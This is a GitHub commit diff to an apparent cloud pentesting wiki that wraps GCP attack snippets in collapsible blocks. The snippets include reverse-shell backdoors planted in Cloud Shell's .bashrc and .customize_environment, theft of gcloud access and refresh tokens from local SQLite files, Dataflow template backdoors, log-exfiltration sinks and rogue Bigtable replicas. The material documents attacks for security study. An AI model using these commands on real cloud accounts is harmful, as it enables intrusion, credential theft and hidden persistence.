Skip to content

Commit 6cd2d68

Browse files
committed
gcp
1 parent 75115ef commit 6cd2d68

File tree

52 files changed

+2106
-148
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

52 files changed

+2106
-148
lines changed

src/SUMMARY.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,6 @@
101101
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
102102
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
103103
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
104-
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
105104
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
106105
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
107106
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -132,6 +131,7 @@
132131
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
133132
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
134133
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
134+
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
135135
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
136136
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
137137
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
@@ -188,6 +188,7 @@
188188
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
189189
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
190190
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
191+
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
191192
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
192193
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
193194
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,10 @@ For more information about Bigtable check:
1616

1717
Create an app profile that routes traffic to your replica cluster and enable Data Boost so you never depend on provisioned nodes that defenders might notice.
1818

19+
<details>
20+
21+
<summary>Create stealth app profile</summary>
22+
1923
```bash
2024
gcloud bigtable app-profiles create stealth-profile \
2125
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
@@ -26,6 +30,8 @@ gcloud bigtable app-profiles update stealth-profile \
2630
--data-boost-compute-billing-owner=HOST_PAYS
2731
```
2832

33+
</details>
34+
2935
As long as this profile exists you can reconnect using fresh credentials that reference it.
3036

3137
### Maintain your own replica cluster
@@ -34,11 +40,17 @@ As long as this profile exists you can reconnect using fresh credentials that re
3440

3541
Provision a minimal node-count cluster in a quiet region. Even if your client identities disappear, **the cluster keeps a full copy of every table** until defenders explicitly remove it.
3642

43+
<details>
44+
45+
<summary>Create replica cluster</summary>
46+
3747
```bash
3848
gcloud bigtable clusters create dark-clone \
3949
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
4050
```
4151

52+
</details>
53+
4254
Keep an eye on it through `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` so you can scale up instantly when you need to pull data.
4355

4456
### Lock replication behind your own CMEK
@@ -47,12 +59,18 @@ Keep an eye on it through `gcloud bigtable clusters describe dark-clone --instan
4759

4860
Bring your own KMS key when spinning up a clone. Without that key, Google cannot re-create or fail over the cluster, so blue teams must coordinate with you before touching it.
4961

62+
<details>
63+
64+
<summary>Create CMEK-protected cluster</summary>
65+
5066
```bash
5167
gcloud bigtable clusters create cmek-clone \
5268
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
5369
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
5470
```
5571

72+
</details>
73+
5674
Rotate or disable the key in your project to instantly brick the replica (while still letting you turn it back on later).
5775

5876
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,18 +24,30 @@ This console has some interesting capabilities for attackers:
2424

2525
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
2626

27+
<details>
28+
29+
<summary>Add reverse shell to .bashrc</summary>
30+
2731
```bash
2832
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
2933
```
3034

35+
</details>
36+
3137
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
3238

39+
<details>
40+
41+
<summary>Create .customize_environment backdoor</summary>
42+
3343
```bash
3444
#!/bin/sh
3545
apt-get install netcat -y
3646
nc <LISTENER-ADDR> 443 -e /bin/bash
3747
```
3848

49+
</details>
50+
3951
> [!WARNING]
4052
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
4153
@@ -45,11 +57,17 @@ This is the pop-up from executing `gcloud projects list` from the cloud shell (a
4557

4658
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
4759

60+
<details>
61+
62+
<summary>Get access tokens from Cloud Shell</summary>
63+
4864
```bash
4965
gcloud auth print-access-token
5066
gcloud auth application-default print-access-token
5167
```
5268

69+
</details>
70+
5371
#### How the SSH connection is stablished
5472

5573
Basically, these 3 API calls are used:

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,10 @@
88

99
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
1010

11+
<details>
12+
13+
<summary>Create Dataflow flex template with backdoor</summary>
14+
1115
```bash
1216
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
1317
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -38,10 +42,16 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
3842
--region=us-central1
3943
```
4044

45+
</details>
46+
4147
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
4248

4349
Then, next time the job is executed, the compromised container built will be run:
4450

51+
<details>
52+
53+
<summary>Run Dataflow template</summary>
54+
4555
```bash
4656
# Run template
4757
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -50,6 +60,8 @@ gcloud dataflow $NAME_TEMPLATE run testing \
5060
--region=us-central1
5161
```
5262

63+
</details>
64+
5365
{{#include ../../../banners/hacktricks-training.md}}
5466

5567

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,10 +14,16 @@ Find more information about Logging in:
1414

1515
Create a sink to exfiltrate the logs to an attackers accessible destination:
1616

17+
<details>
18+
19+
<summary>Create logging sink</summary>
20+
1721
```bash
1822
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
1923
```
2024

25+
</details>
26+
2127
{{#include ../../../banners/hacktricks-training.md}}
2228

2329

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,16 @@
66

77
To get the **current token** of a user you can run:
88

9+
<details>
10+
11+
<summary>Get access token from SQLite database</summary>
12+
913
```bash
1014
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
1115
```
1216

17+
</details>
18+
1319
Check in this page how to **directly use this token using gcloud**:
1420

1521
{{#ref}}
@@ -18,18 +24,30 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
1824

1925
To get the details to **generate a new access token** run:
2026

27+
<details>
28+
29+
<summary>Get refresh token from SQLite database</summary>
30+
2131
```bash
2232
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
2333
```
2434

35+
</details>
36+
2537
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
2638

2739
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
2840

41+
<details>
42+
43+
<summary>Get new access token using refresh token</summary>
44+
2945
```bash
3046
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
3147
```
3248

49+
</details>
50+
3351
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
3452

3553
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
@@ -51,12 +69,22 @@ Then, gcloud will use the state and code with a some hardcoded `client_id` (`325
5169

5270
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
5371

72+
<details>
73+
74+
<summary>Get all Google OAuth scopes</summary>
75+
5476
```bash
5577
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
5678
```
5779

80+
</details>
81+
5882
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
5983

84+
<details>
85+
86+
<summary>Test supported scopes for gcloud</summary>
87+
6088
```bash
6189
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
6290
echo -ne "Testing $scope \r"
@@ -67,6 +95,8 @@ curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE
6795
done
6896
```
6997

98+
</details>
99+
70100
After executing it it was checked that this app supports these scopes:
71101

72102
```

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,10 @@ For more information about Cloud Storage check:
1414

1515
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
1616

17+
<details>
18+
19+
<summary>Create and use HMAC key for Storage access</summary>
20+
1721
```bash
1822
# Create key
1923
gsutil hmac create <sa-email>
@@ -25,6 +29,8 @@ gsutil config -a
2529
gsutil ls gs://[BUCKET_NAME]
2630
```
2731

32+
</details>
33+
2834
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
2935

3036
### Give Public Access

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,10 +28,16 @@ With these permissions it's possible to:
2828

2929
With this permission it's possible to **see the logs of the App**:
3030

31+
<details>
32+
33+
<summary>Tail app logs</summary>
34+
3135
```bash
3236
gcloud app logs tail -s <name>
3337
```
3438

39+
</details>
40+
3541
### Read Source Code
3642

3743
The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.

0 commit comments

Comments
 (0)